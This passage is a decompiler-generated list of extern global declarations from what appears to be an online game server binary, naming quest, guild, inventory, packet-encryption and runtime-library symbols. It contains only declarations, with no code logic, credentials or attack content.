aBadParameterTo[]; // idb extern _UNKNOWN unk_689488; // weak extern char aGetfirststackt[]; // idb extern char asc_6894D4[]; // idb extern int (__thiscall *CIOBuffer::_vftable_)(void *p, char); // weak extern char aIobuffercontai[]; // idb extern char asc_689504[4]; // weak extern char byte_689508; // weak extern int (__stdcall *CSocket_Acceptor_Process_Interface::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern int (__thiscall *std::num_get>>::_vftable_)(void *p, char); // weak extern char a0123456789abcd[23]; // weak extern int (__thiscall *CItemAuthorityBase::_vftable_)(void *p, char); // weak extern int (__thiscall *AreaInfoData::_vftable_)(void *p, char); // weak extern int (__stdcall *AreaInfoData::AE_Square::_vftable_[2])(float fX, float fCos); // weak extern int (__stdcall *AreaInfoData::AE_Circle::_vftable_)(float fX, float fY); // weak extern int (__stdcall *CQuest::_vftable_)(int itm); // weak extern int PacketEncrypt::pe_encryptlen; // weak extern char asc_689600[2]; // weak extern char byte_689602; // weak extern char aPvpn[4]; // weak extern int dword_689608; // weak extern int dword_68960C; // weak extern void *off_689610; // weak extern char aMapw[4]; // weak extern int dword_689618; // weak extern int dword_68961C; // weak extern void *off_689620; // weak extern char aMapl[4]; // weak extern int dword_689628; // weak extern int dword_68962C; // weak extern int dword_689630; // weak extern char byte_689634; // weak extern char aAuct[4]; // weak extern int dword_68963C; // weak extern int dword_689640; // weak extern int dword_689644; // weak extern __int16 word_689648; // weak extern char aAuct_0[4]; // weak extern int dword_689650; // weak extern int dword_689654; // weak extern int dword_689658; // weak extern char byte_68965C; // weak extern char aAuct_1[4]; // weak extern int dword_689664; // weak extern int dword_689668; // weak extern void *off_68966C; // weak extern char aActi[4]; // weak extern int dword_689674; // weak extern int dword_689678; // weak extern int dword_68967C; // weak extern __int16 word_689680; // weak extern char byte_689682; // weak extern char aDice[4]; // weak extern int dword_689688; // weak extern int dword_68968C; // weak extern int dword_689690; // weak extern char byte_689694; // weak extern char aMini_1[4]; // weak extern int dword_68969C; // weak extern int dword_6896A0; // weak extern int dword_6896A4; // weak extern void *off_6896A8; // weak extern char aMinihousefur_0[32]; // weak extern char aWeap[4]; // weak extern int dword_6896D0; // weak extern int dword_6896D4; // weak extern int dword_6896D8; // weak extern void *off_6896DC; // weak extern char aWeap_0[4]; // weak extern int dword_6896E4; // weak extern int dword_6896E8; // weak extern int dword_6896EC; // weak extern char byte_6896F0; // weak extern char aUpgr[4]; // weak extern int dword_6896F8; // weak extern int dword_6896FC; // weak extern void *off_689700; // weak extern char aSuba[4]; // weak extern int dword_689708; // weak extern int dword_68970C; // weak extern __int16 word_689710; // weak extern char byte_689712; // weak extern char aRidi[4]; // weak extern int dword_689718; // weak extern __int16 word_68971C; // weak extern char byte_68971E; // weak extern char aPass[4]; // weak extern int dword_689724; // weak extern int dword_689728; // weak extern int dword_68972C; // weak extern char byte_689730; // weak extern char aMobi[4]; // weak extern int dword_689738; // weak extern void *off_68973C; // weak extern char aMini[4]; // weak extern int dword_689744; // weak extern int dword_689748; // weak extern int dword_68974C; // weak extern void *off_689750; // weak extern char aMinihousefur_2[23]; // weak extern char aMini_0[4]; // weak extern int dword_689770; // weak extern int dword_689774; // weak extern __int16 word_689778; // weak extern char aMapi[4]; // weak extern int dword_689780; // weak extern void *off_689784; // weak extern char aItem_0[4]; // weak extern int dword_68978C; // weak extern int dword_689790; // weak extern char byte_689794; // weak extern char aItem_2[4]; // weak extern int dword_68979C; // weak extern int dword_6897A0; // weak extern int dword_6897A4; // weak extern __int16 word_6897A8; // weak extern char aGrad[4]; // weak extern int dword_6897B0; // weak extern int dword_6897B4; // weak extern int dword_6897B8; // weak extern void *off_6897BC; // weak extern char aGath[4]; // weak extern int dword_6897C4; // weak extern __int16 word_6897C8; // weak extern char byte_6897CA; // weak extern char aClas[4]; // weak extern int dword_6897D0; // weak extern int dword_6897D4; // weak extern __int16 word_6897D8; // weak extern char aChar_0[4]; // weak extern int dword_6897E0; // weak extern int dword_6897E4; // weak extern int dword_6897E8; // weak extern __int16 word_6897EC; // weak extern char aCharactertit_1[23]; // weak extern char aActi_0[4]; // weak extern int dword_68980C; // weak extern int dword_689810; // weak extern void *off_689814; // weak extern char aAbst[4]; // weak extern int dword_68981C; // weak extern void *off_689820; // weak extern int (__thiscall *CMD5Checksum::_vftable_)(void *p, char); // weak extern char a0X[4]; // weak extern char a00[3]; // idb extern char szSeprator[]; // idb extern int (__thiscall *CQuestParserScript::_vftable_)(CQuestParserScript *this, int pCmd); // weak extern int (__stdcall *std::basic_ifstream>::_vftable_)(char); // weak extern _UNKNOWN std::basic_ifstream>::_vbtable_; // weak extern int (__thiscall *std::logic_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::length_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::out_of_range::_vftable_)(void *p, char); // weak extern char aInvalidStringP[]; // idb extern char aStringTooLong[]; // idb extern int (__thiscall *std::locale::facet::_vftable_)(void *p, char); // weak extern const __int32 std::_BADOFF; // weak extern int (__thiscall *std::runtime_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::ios_base::failure::_vftable_)(void *p, char); // weak extern int (__thiscall *std::bad_alloc::_vftable_)(void *p, char); // weak extern int (__thiscall *exception::_vftable_)(void *p, char); // weak extern int (__thiscall *bad_cast::_vftable_)(void *p, char); // weak extern char aPath[]; // idb extern char aCmd_exe[8]; // weak extern char aCommand_com[12]; // weak extern char aC_10[3]; // weak extern const __int16 ctype_loc_style[127]; extern const char first_127char[127]; extern char asc_68A434[3]; // idb extern const WCHAR SrcStr; // idb extern wchar_t asc_68A5A0[33]; // weak extern char aIsprocessorfea[]; // idb extern char __lookuptable[]; // weak extern char Caption[]; // idb extern char aProgram[]; // idb extern char asc_68AB60[]; // idb extern char aProgramNameUnk[]; // idb extern char aABufferOverrun[160]; // weak extern char aBufferOverrunD[25]; // weak extern char aASecurityError[177]; // weak extern char aUnknownSecurit[]; // idb extern char first[]; // idb extern char aRuntimeErrorPr[]; // idb extern char aExp2[5]; // weak extern char aExp10[6]; // weak extern char aLog2[5]; // weak extern char aLog10[6]; // weak extern char aOcp[]; // idb extern char aAcp[]; // idb extern char a1Qnan[]; // idb extern char a1Inf[]; // idb extern char a1Ind[6]; // weak extern char a1Snan[7]; // weak extern _UNKNOWN __rtc_izz; // weak extern _UNKNOWN __rtc_tzz; // weak extern _s__ThrowInfo _TI3_AVlength_error_std__; // idb extern _s__ThrowInfo _TI3_AVout_of_range_std__; // idb extern _s__ThrowInfo _TI2_AVbad_cast__; // idb extern _s__ThrowInfo _TI2PAVInvalidPacketException_CPacket__; // idb extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern char serverindex[]; // idb extern unsigned __int8 DebugLogging::dl_ActivAll; // weak extern int g_BroadcastStackPoint; // weak extern int LostExpRateTable[4][3]; extern BattleObjectGroup::BattleObjectStruct battleobjectstructclear; extern char *pw_FirstAdmin; // weak extern char byte_6A7B91; // weak extern char byte_6A7B92; // weak extern char byte_6A7B93; // weak extern char byte_6A7B94; // weak extern char byte_6A7B95; // weak extern char byte_6A7B96; // weak extern char byte_6A7B97; // weak extern char byte_6A7B98; // weak extern char byte_6A7B99; // weak extern char byte_6A7B9A; // weak extern char byte_6A7B9B; // weak extern char byte_6A7B9C; // weak extern char byte_6A7B9D; // weak extern char byte_6A7B9E; // weak extern char byte_6A7B9F; // weak extern char byte_6A7BA0; // weak extern char *pw_SecondAdmin; // weak extern char byte_6A7BB1; // weak extern char byte_6A7BB2; // weak extern char byte_6A7BB3; // weak extern char byte_6A7BB4; // weak extern char byte_6A7BB5; // weak extern char byte_6A7BB6; // weak extern char byte_6A7BB7; // weak extern char byte_6A7BB8; // weak extern char byte_6A7BB9; // weak extern char byte_6A7BBA; // weak extern char byte_6A7BBB; // weak extern char byte_6A7BBC; // weak extern char byte_6A7BBD; // weak extern char byte_6A7BBE; // weak extern char *pw_ThirdAdmin; // weak extern char byte_6A7BD1; // weak extern char byte_6A7BD2; // weak extern char byte_6A7BD3; // weak extern char byte_6A7BD4; // weak extern char byte_6A7BD5; // weak extern char byte_6A7BD6; // weak extern char byte_6A7BD7; // weak extern char byte_6A7BD8; // weak extern char byte_6A7BD9; // weak extern char byte_6A7BDA; // weak extern char byte_6A7BDB; // weak extern char byte_6A7BDC; // weak extern char byte_6A7BDD; // weak extern char byte_6A7BDE; // weak extern char *pw_ServerSlow; // weak extern char byte_6A7BF1; // weak extern char byte_6A7BF2; // weak extern char byte_6A7BF3; // weak extern char byte_6A7BF4; // weak extern char byte_6A7BF5; // weak extern char byte_6A7BF6; // weak extern char byte_6A7BF7; // weak extern char byte_6A7BF8; // weak extern char byte_6A7BF9; // weak extern char byte_6A7BFA; // weak extern char byte_6A7BFB; // weak extern char byte_6A7BFC; // weak extern char *pw_ServerDown; // weak extern char byte_6A7C11; // weak extern char byte_6A7C12; // weak extern char byte_6A7C13; // weak extern char byte_6A7C14; // weak extern char byte_6A7C15; // weak extern char byte_6A7C16; // weak extern char byte_6A7C17; // weak extern char byte_6A7C18; // weak extern char byte_6A7C19; // weak extern char byte_6A7C1A; // weak extern char byte_6A7C1B; // weak extern char byte_6A7C1C; // weak extern char *pw_MakeAdmin; // weak extern char byte_6A7C31; // weak extern char byte_6A7C32; // weak extern char byte_6A7C33; // weak extern char byte_6A7C34; // weak extern char byte_6A7C35; // weak extern char byte_6A7C36; // weak extern char byte_6A7C37; // weak extern char byte_6A7C38; // weak extern char byte_6A7C39; // weak extern char byte_6A7C3A; // weak extern char DuplicatedMenuControl::dmc_Table[]; // weak extern int objtype[10]; extern GuildWarManager gldwarman; // idb extern PartyExperienceBonusDouble pebd; // idb extern int (__stdcall **InventoryLocking::InventoryCellLockList::icll_Releaser_None)(int, int lc, char inchest); // weak extern int sec[5]; extern unsigned __int16 notfound[4]; extern unsigned __int16 notempty[4]; extern int (__stdcall **mobexplosebase)(int mob, int); // weak extern unsigned __int8 g_NewBlockRule; // weak extern int (__stdcall *(*MobTacticElement::MobActionArgument::Actor::base)[2])(int argument); // weak extern PROTOCOLFUNCTIONTEMPLETE gdsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE shineprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE glsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE optsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE wldmanprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE zlsprotofunc; // idb extern int (__stdcall *(*sysfuncbase[2])[28])(int buffer, int ps, int argumentlist); // weak extern EngNormAtt engnormatt; // idb extern unsigned __int16 EquipDropRateTable[4][3]; extern int (__stdcall **ShineObjectClass::ShineObject::so_dummypacketcontainer)(int itm); // weak extern StatDistribute Stats[5]; extern char *pCharStatDist[5]; extern __int16 word_6B650C; // weak extern int (__stdcall **ui_base)(int, int itm); // weak extern PROTO_NC_MISC_HEARTBEAT_REQ_SEND req; extern SleepManager sleepmanager; // idb extern std::basic_string,std::allocator > NPCAction::ActionGen_OptionReader::tableName_; // idb extern std::basic_string,std::allocator > NPCAction::CondGen_OptionReader::tableName_; // idb extern std::basic_string,std::allocator > NPCAction::TriggerGen_OptionReader::tableName_; // idb extern _DWORD AccUpGradeInfoTable::Min_Variables[12]; // idb extern _DWORD AccUpGradeInfoTable::Max_Variables[12]; // idb extern _DWORD AccUpGradeInfoTable::Limit_Variables[12]; // idb extern std::basic_string,std::allocator > strDirPath; extern void *p; // idb extern _UNKNOWN unk_6B661C; // weak extern _UNKNOWN unk_6B6620; // weak extern _DWORD LevelGap_Player_to_Player::DefLv[150]; // idb extern _DWORD ProdSucRateTable::SucUp_Variables[5]; // idb extern _DWORD ProdSucRateTable::FalUp_Variables[5]; // idb extern _DWORD ProdSucRateTable::SucChance_Variables[6]; // idb extern _UNKNOWN g_LUA_SCRIPT_SECURITYFactor; // weak extern _UNKNOWN unk_6B68C8; // weak extern _UNKNOWN unk_6B68C9; // weak extern LuaScriptArgument::LuaArgumentDefault LuaScriptArgument::lsa_NoLuaArgument; // idb extern _UNKNOWN unk_6B68DC; // weak extern GB_ANIType eff[3]; extern AssertClass shineassert; // idb extern _UNKNOWN ItemBag::ib_staticcell; // weak extern _UNKNOWN unk_6B6964; // weak extern _UNKNOWN unk_6B6968; // weak extern _UNKNOWN unk_6B69D0; // weak extern int gbDMVCICOP; // idb extern int pCslParameterSize[19]; extern char *pCslParameter[19]; extern char *pCslCmd[10]; extern char *pCslRemarks[7]; extern int g_nAllocBuffer; extern _BYTE PacketEncrypt::pe_encryptstr[504]; // idb extern char PADDING[64]; extern const char *gpQSC[32]; extern const char *gpQSV[8]; extern const char *gpQSAE[6]; extern const char *gpQST[2]; extern const char *gpQSIL[1]; extern unsigned int atcount; extern _UNKNOWN __security_cookie; // weak extern _UNKNOWN __lconv; // weak extern FILE _iob; // idb extern FILE unk_6B7278; // idb extern FILE unk_6B7298; // idb extern double _HUGE; extern char clocalestr[2]; extern _is_ctype_compatible Lcid_c[5]; extern _DWORD dword_6B7684[6]; // idb extern _UNKNOWN unk_6B76A0; // weak extern _UNKNOWN unk_6B76A4; // weak extern char cachein[131]; extern _UNKNOWN unk_6B772A; // weak extern char cacheout[131]; extern void *unk_6B77BC; // idb extern _UNKNOWN unk_6B77C0; // weak extern _UNKNOWN unk_6B77C4; // weak extern _UNKNOWN unk_6B77C8; // weak extern _UNKNOWN unk_6B77D4; // weak extern _UNKNOWN unk_6B77F4; // weak extern _UNKNOWN unk_6B77F8; // weak extern _UNKNOWN __app_type; // weak extern unsigned __int16 *_pctype; extern void (__cdecl *__pInconsistency)(); // weak extern int (__cdecl *_cfltcvt_tab)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak extern int (__cdecl *off_6B7958)(_DWORD, _DWORD, _DWORD); // weak extern const char *__nullstring; // idb extern _UNKNOWN __wnullstring; // weak extern char _rgctypeflag[4]; extern code_page_info _rgcode_page_info[5]; extern _UNKNOWN unk_6B7A9C; // weak extern _UNKNOWN unk_6B7AA8; // weak extern __int64 half; extern rterrmsgs rterrs[19]; extern _UNKNOWN unk_6B7D04; // weak extern _UNKNOWN _OP_SINHjmptab; // weak extern int (__cdecl *_pmatherr)(_DWORD); // weak extern _UNKNOWN __lc_clike; // weak extern size_t __mb_cur_max; // idb extern _UNKNOWN __decimal_point; // weak extern FpFormatDescriptor DoubleFormat; extern FpFormatDescriptor FloatFormat; extern _UNKNOWN _matherr_flag; // weak extern _UNKNOWN _pow10pos; // weak extern _UNKNOWN _pow10neg; // weak extern _UNKNOWN g_NewAbstateStrength; // weak extern _UNKNOWN abstateidentarray; // weak extern _UNKNOWN unk_6B848C; // weak extern _UNKNOWN unk_6B8490; // weak extern _UNKNOWN unk_6B8492; // weak extern ClearStateBit clearabstate; extern AbnormalStateContainer::ActorCluster actorcluster; // idb extern AbnormalStateContainer::AbnormalStateList abstatetemplate; // idb extern _UNKNOWN unk_6BC814; // weak extern _UNKNOWN unk_6BC818; // weak extern unsigned int std::codecvt::id; // idb extern AbnormalStateDictionary::AbState dic_abstate; // idb extern _UNKNOWN unk_6BC988; // weak extern _UNKNOWN unk_6BC990; // weak extern _DWORD dword_6BC994[59]; // idb extern _UNKNOWN unk_6BCCB4; // weak extern _UNKNOWN unk_6BCD30; // weak extern _UNKNOWN unk_6BCF98; // weak extern _UNKNOWN unk_6BCFC0; // weak extern _DWORD *dword_6BD098[2]; // idb extern _DWORD *dword_6BD0A0[95]; // idb extern BTree unk_6BD318; // idb extern BTree unk_6BD71C; // idb extern AbnormalStateDictionary::SubAbState dic_subabstate; // idb extern AbnormalStateShelter::AbstateShelter g_AbstateShelter; // idb extern LuaScriptObserver g_LuaScriptObserver; // idb extern AmpersandCommand ampcmd; extern DebugLogging AmpersandCommandLog; // idb extern _UNKNOWN unk_6C04E8; // weak extern _UNKNOWN unk_6C066C; // weak extern AttackRhythm::AttackRhythm_Range attrhythm_range; // idb extern AttackRhythm::AttackRhythm_Melee attrhythm_melee; // idb extern AttackRhythm::AttackRhythm_Mob attrhythm_mob; // idb extern CharModeClassifier cmc; extern unsigned int _S5_38; extern CharModeClassifier cmc_0; extern unsigned int _S7_43; extern CharModeClassifier cmc_1; extern unsigned int _S9_10; extern CharModeClassifier cmc_2; extern unsigned int _S11_10; extern CharModeClassifier cmc_3; extern unsigned int _S13_19; extern CharModeClassifier cmc_4; extern unsigned int _S15_1; extern CharModeClassifier cmc_5; extern unsigned int _S17_4; extern CharModeClassifier cmc_6; extern unsigned int _S19_11; extern CharModeClassifier cmc_7; extern unsigned int _S7_44; extern CharModeClassifier cmc_8; extern unsigned int _S9_11; extern CharModeClassifier cmc_9; extern unsigned int _S11_11; extern CharModeClassifier cmc_10; extern unsigned int _S15_2; extern CharModeClassifier cmc_11; extern unsigned int _S19_12; extern CharModeClassifier cmc_12; extern unsigned int _S5_39; extern CharModeClassifier cmc_13; extern unsigned int _S13_20; extern CharModeClassifier cmc_14; extern unsigned int _S17_5; extern _UNKNOWN skilltargeterr; // weak extern SkillEffectApply::SkillDamageSender skilldamagesender; // idb extern SkillEffectApply::SkillBlastEffectContainer skilleffectapplyer; // idb extern BattleObjectGroup::BattleObjectList btlobjlist; // idb extern BlockDistribute::BlockingDistributeList g_BlockingDistributeList; extern BlockDistribute::BlockDistributeManager blockdistmanager; // idb extern unsigned int sightsquar; extern unsigned __int8 pw_Init; // weak extern unsigned __int16 ShineObjectClass::ShinePlayer::sp_Turtle; // weak extern BriefInfoExchanger::BriefInfoExchangeEffect briefeffect; // idb extern BriefInfoExchanger::BriefInfoExchangeCharacter briefchar; // idb extern BriefInformationAbstate briefInformationAbstate; // idb extern BriefInfoExchanger::BriefInfoExchangeMiniHouse briefminihouse; // idb extern BriefInfoExchanger::BriefInfoExchangeAbstate briefabstate_char; // idb extern BriefInfoExchanger::BriefInfoExchangeItem briefitem; // idb extern BriefInfoExchanger::BriefInfoExchangeMagicField briefmagfld; // idb extern BriefInfoDelete briefinfodelete; // idb extern BriefInfoExchanger::BriefInfoExchangeMob briefmob; // idb extern BriefInfoExchanger::BriefInfoExchangeDoor briefdoor; // idb extern BriefInfoExchanger::BriefInfoExchangeAbstate briefabstate_mob; // idb extern CalculateBroadcastDistance broadcastdistance; extern CharModeClassifier cmc_15; extern unsigned int _S44_2; extern Name3 urg; extern Name3 eld; extern Name3 rou; extern CharModeClassifier cmc_16; extern unsigned int _S46_4; extern MobAttackSequence::AttackElement4Mob key; extern int _local_static_guard_; // weak extern CharModeClassifier cmc_17; extern unsigned int _S51_1; extern CharModeClassifier cmc_18; extern unsigned int _S42_0; extern PassiveMasteryVariable pmv; // idb extern CharClassManager charclassmanager; // idb extern DebugLogging RegistNumberLog; extern unsigned int _S5_40; extern CharModeClassifier cmc_19; extern unsigned int _S7_45; extern DataFromOtherMachineList listofdatafromothermachine; // idb extern ChargedItemEffectDataBox ridedatabox; // idb extern ChargedItemEffectDataBox minihousedatabox; // idb extern ChargedItemEffectDataBox minihousefurnituredatabox; // idb extern ChargedItemEffectDataBox chargedbuffdatabox; // idb extern ShineDateTime chargeditemcheck; // idb extern struct tm stru_8C8DD4; // idb extern char byte_8C8DF8; // weak extern char byte_8C8DF9; // weak extern struct tm timefromworld; // idb extern __int32 diffence2world; // weak extern int newseed; extern CharModeClassifier cmc_20; extern unsigned int _S5_41; extern CharModeClassifier cmc_21; extern unsigned int _S9_12; extern CharModeClassifier cmc_22; extern unsigned int _S7_46; extern DebugLogging SkillCoolTimeLog; // idb extern WholeSaver wholesaver; // idb extern CharModeClassifier cmc_23; extern unsigned int _S7_47; extern CharModeClassifier cmc_24; extern unsigned int _S9_13; extern CharModeClassifier cmc_25; extern unsigned int _S11_12; extern CharModeClassifier cmc_26; extern unsigned int _S13_21; extern CharModeClassifier cmc_27; extern unsigned int _S15_3; extern CharModeClassifier cmc_28; extern unsigned int _S17_6; extern CharModeClassifier cmc_29; extern unsigned int _S19_13; extern CharModeClassifier cmc_30; extern unsigned int _S21_1; extern CharModeClassifier cmc_31; extern unsigned int _S23_4; extern CharModeClassifier cmc_32; extern unsigned int _S25_8; extern CharModeClassifier cmc_33; extern unsigned int _S27_0; extern CharModeClassifier cmc_34; extern unsigned int _S31_6; extern CharModeClassifier cmc_35; extern unsigned int _S5_42; extern CharModeClassifier cmc_36; extern unsigned int _S29_4; extern StaticVector path; extern unsigned int _S33_0; extern ZoneListenSession zonelisten; // idb extern DamageByAngle::DamageTable damagebyangle_Ply; // idb extern DamageByAngle::DamageTable damagebyangle_Mob; // idb extern DamageBySoul::SoulDamageContainer _SoulDamageContainer; // idb extern CharModeClassifier cmc_37; extern unsigned int _S11_13; extern DebugLogging MoverErrorLog; // idb extern DefSkillData defskill; // idb extern DirectDistanceTable ddt; // idb extern DropItemAnalyzer dropitemanalyzer; // idb extern DropLocationManager droplocman; // idb extern EquipEnumChanger equipman; // idb extern MapRearrangeObserver maprearrangeobserver; // idb extern BTree fieldserial; // idb extern FieldContainer fieldlist; // idb extern union Name3 FieldMap::fm_MiniHouseInteriorMap; // weak extern int dword_CE3D5FC; // weak extern int dword_CE3D600; // weak extern Name3 rouname; extern Name8 temp; extern unsigned int _S23_5; extern FILE *FunctionProfiler::FunctionPerformance::fp_ProfileFile; // idb extern LARGE_INTEGER FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency; // idb extern FunctionProfiler::PerformanceRecorder _PerformanceRecorder; // idb extern FunctionCallingAnalyzer funcallanalizer; // idb extern CharModeClassifier cmc_38; extern unsigned int _S13_22; extern CharModeClassifier cmc_39; extern unsigned int _S15_4; extern CharModeClassifier cmc_40; extern unsigned int _S19_14; extern CharModeClassifier cmc_41; extern unsigned int _S21_2; extern CharModeClassifier cmc_42; extern unsigned int _S28_7; extern CharModeClassifier cmc_43; extern unsigned int _S11_14; extern CharModeClassifier cmc_44; extern unsigned int _S17_7; extern CharModeClassifier cmc_45; extern unsigned int _S26_5; extern AxialListNearScanNPC alnsFire; // idb extern GatherProduce::RecipeBook recipebook; // idb extern GatherProduce::GatherTable gathertable; // idb extern CharModeClassifier cmc_46; extern unsigned int _S5_43; extern CharModeClassifier cmc_47; extern unsigned int _S7_48; extern GuildAcademyRewardStorage::GuildAcademyRewardStorageManager gldacademyrewardstoramanager; // idb extern CharModeClassifier cmc_48; extern unsigned int _S11_15; extern CharModeClassifier cmc_49; extern unsigned int _S13_23; extern CharModeClassifier cmc_50; extern unsigned int _S17_8; extern CharModeClassifier cmc_51; extern unsigned int _S15_5; extern MemoryQueue queue_GuildReType; // idb extern MemoryQueue queue_GuildReName; // idb extern GuildStorage::GuildStorageManager gldstoramanager; // idb extern GuildTouramentLoginDataInfo guildtournamentinfo; // idb extern struct __unnamed *GTMap; // weak extern char byte_D1D8F29[8]; // idb extern _UNKNOWN unk_D1D8F31; // weak extern char byte_D1D8F35; // weak extern char dword_D1D8F36[]; // idb extern int dword_D1D8F3A; // weak extern int dword_D1D8F3E; // weak extern char byte_D1D8F42; // weak extern char dword_D1D8F43[]; // idb extern int dword_D1D8F47; // weak extern int dword_D1D8F4B; // weak extern char byte_D1D8F4F; // weak extern char dword_D1D8F50[]; // idb extern int dword_D1D8F54; // weak extern int dword_D1D8F58; // weak extern char byte_D1D8F5C; // weak extern char dword_D1D8F5D[]; // idb extern int dword_D1D8F61; // weak extern int dword_D1D8F65; // weak extern char byte_D1D8F69; // weak extern char dword_D1D8F6A[]; // idb extern int dword_D1D8F6E; // weak extern int dword_D1D8F72; // weak extern char byte_D1D8F76; // weak extern char dword_D1D8F77[]; // idb extern int dword_D1D8F7B; // weak extern int dword_D1D8F7F; // weak extern char byte_D1D8F83; // weak extern char dword_D1D8F84[]; // idb extern int dword_D1D8F88; // weak extern int dword_D1D8F8C; // weak extern char byte_D1D8F90; // weak extern char dword_D1D8F91[]; // idb extern int dword_D1D8F95; // weak extern int dword_D1D8F99; // weak extern char byte_D1D8F9D; // weak extern char dword_D1D8F9E[]; // idb extern int dword_D1D8FA2; // weak extern int dword_D1D8FA6; // weak extern char byte_D1D8FAA; // weak extern char dword_D1D8FAB[]; // idb extern int dword_D1D8FAF; // weak extern int dword_D1D8FB3; // weak extern char byte_D1D8FB7; // weak extern char dword_D1D8FB8[]; // idb extern int dword_D1D8FBC; // weak extern int dword_D1D8FC0; // weak extern char byte_D1D8FC4; // weak extern char dword_D1D8FC5[]; // idb extern int dword_D1D8FC9; // weak extern int dword_D1D8FCD; // weak extern char byte_D1D8FD1; // weak extern char dword_D1D8FD2[]; // idb extern int dword_D1D8FD6; // weak extern int dword_D1D8FDA; // weak extern char byte_D1D8FDE; // weak extern char dword_D1D8FDF[]; // idb extern int dword_D1D8FE3; // weak extern int dword_D1D8FE7; // weak extern char byte_D1D8FEB; // weak extern char dword_D1D8FEC[]; // idb extern int dword_D1D8FF0; // weak extern int dword_D1D8FF4; // weak extern char byte_D1D8FF8; // weak extern char dword_D1D8FF9[]; // idb extern int dword_D1D8FFD; // weak extern int dword_D1D9001; // weak extern char byte_D1D9005; // weak extern char dword_D1D9006[]; // idb extern int dword_D1D900A; // weak extern int dword_D1D900E; // weak extern char byte_D1D9012; // weak extern char dword_D1D9013[]; // idb extern int dword_D1D9017; // weak extern int dword_D1D901B; // weak extern char byte_D1D901F; // weak extern char dword_D1D9020[]; // idb extern int dword_D1D9024; // weak extern int dword_D1D9028; // weak extern char byte_D1D902C; // weak extern char dword_D1D902D[]; // idb extern int dword_D1D9031; // weak extern int dword_D1D9035; // weak extern char byte_D1D9039; // weak extern char dword_D1D903A[]; // idb extern int dword_D1D903E; // weak extern int dword_D1D9042; // weak extern char byte_D1D9046; // weak extern char dword_D1D9047[]; // idb extern int dword_D1D904B; // weak extern int dword_D1D904F; // weak extern char byte_D1D9053; // weak extern char dword_D1D9054[]; // idb extern int dword_D1D9058; // weak extern int dword_D1D905C; // weak extern char byte_D1D9060; // weak extern int dword_D1D9061; // weak extern int dword_D1D9065; // weak extern int dword_D1D9069; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern std::map,std::allocator > > GuildTournamentSystem::sm_mapGuildMemberGrades; // idb extern int g_MaxExpGainAtGroup[]; // weak extern std::vector > GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo; // idb extern LevelHandicap4ExperienceDouble lh4ed; // idb extern HolyPromiseCenTransferManager hpctmanager; extern MemoryQueue queue_cenuse; // idb extern CharModeClassifier cmc_53; extern unsigned int _S4_0; extern ItemLotAnalyser::LotAnalyser itemlotanalyser; extern InventoryLocking::InvenCellReleaser_QuestReward InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc; // idb extern InventoryLocking::InvenCellReleaser_LinkInfo InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo; // idb extern InventoryLocking::InvenCellReleaser_CoinChange InventoryLocking::InventoryCellLockList::icll_Releaser_CoinChange; // idb extern InventoryLocking::InvenCellReleaser_GuildStorageClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng; // idb extern InventoryLocking::InvenCellReleaser_CellClear InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear; // idb extern InventoryLocking::InvenCellReleaser_EquipLocation InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation; // idb extern InventoryLocking::InvenCellReleaser_FurnitureCellClear InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear; // idb extern InventoryLocking::InvenCellReleaser_FurnitureReloc InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear; // idb extern InventoryLocking::InvenCellReleaser_CellChangeSmall InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall; // idb extern InventoryLocking::InvenCellReleaser_GuildStorageChange InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange; // idb extern InventoryLocking::InvenCellReleaser_CenChange InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange; // idb extern InventoryLocking::InvenCellReleaser_ItemUse InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse; // idb extern InventoryLocking::InvenCellReleaser_FameChange InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange; // idb extern InventoryLocking::InvenCellReleaser_CellChange InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange; // idb extern InventoryLocking::InvenCellReleaser_PointStone 